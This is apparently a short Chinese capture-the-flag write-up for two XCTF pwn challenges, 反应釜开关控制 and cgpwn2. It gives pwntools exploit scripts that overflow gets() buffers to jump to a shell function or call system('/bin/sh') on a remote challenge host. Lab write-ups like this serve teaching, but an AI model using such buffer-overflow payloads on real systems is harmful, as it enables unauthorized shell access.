攻防世界反应釜开关控制和cgpwn2

以为这道题应该挺难的,没想到挺简单的。
查保护
攻防世界反应釜开关控制和cgpwn2_第1张图片
拖进ida
攻防世界反应釜开关控制和cgpwn2_第2张图片
这里有gets可以进行栈溢出
攻防世界反应釜开关控制和cgpwn2_第3张图片

exp

from pwn import*
p=remote("220.249.52.133",50651)
shell=0x4005f6
payload='a'*0x208+p64(shell)
p.recv()
p.sendline(payload)
p.interactive()

cgpwn2
攻防世界反应釜开关控制和cgpwn2_第4张图片
攻防世界反应釜开关控制和cgpwn2_第5张图片
攻防世界反应釜开关控制和cgpwn2_第6张图片
从这里看,没有我们所熟悉的system(’/bin/sh’),我们可以自己输进去。
基本思路:我们在fgets这里输入/bin/sh,接着通过gets进行栈溢出,调用system函数,然后修改system的参数的地址为name的地址,即构造出system(’/bin/sh’)

exp

from pwn import*
p=remote("220.249.52.133",52316)
name=0x0804A080
system=0x08048420
payload='a'*(0x26+4)+p32(system)+'aaaa'+p32(name)
p.recv()
p.sendline("/bin/sh")
p.recv()
p.sendline(payload)
p.interactive()

你可能感兴趣的:(攻防世界反应釜开关控制和cgpwn2)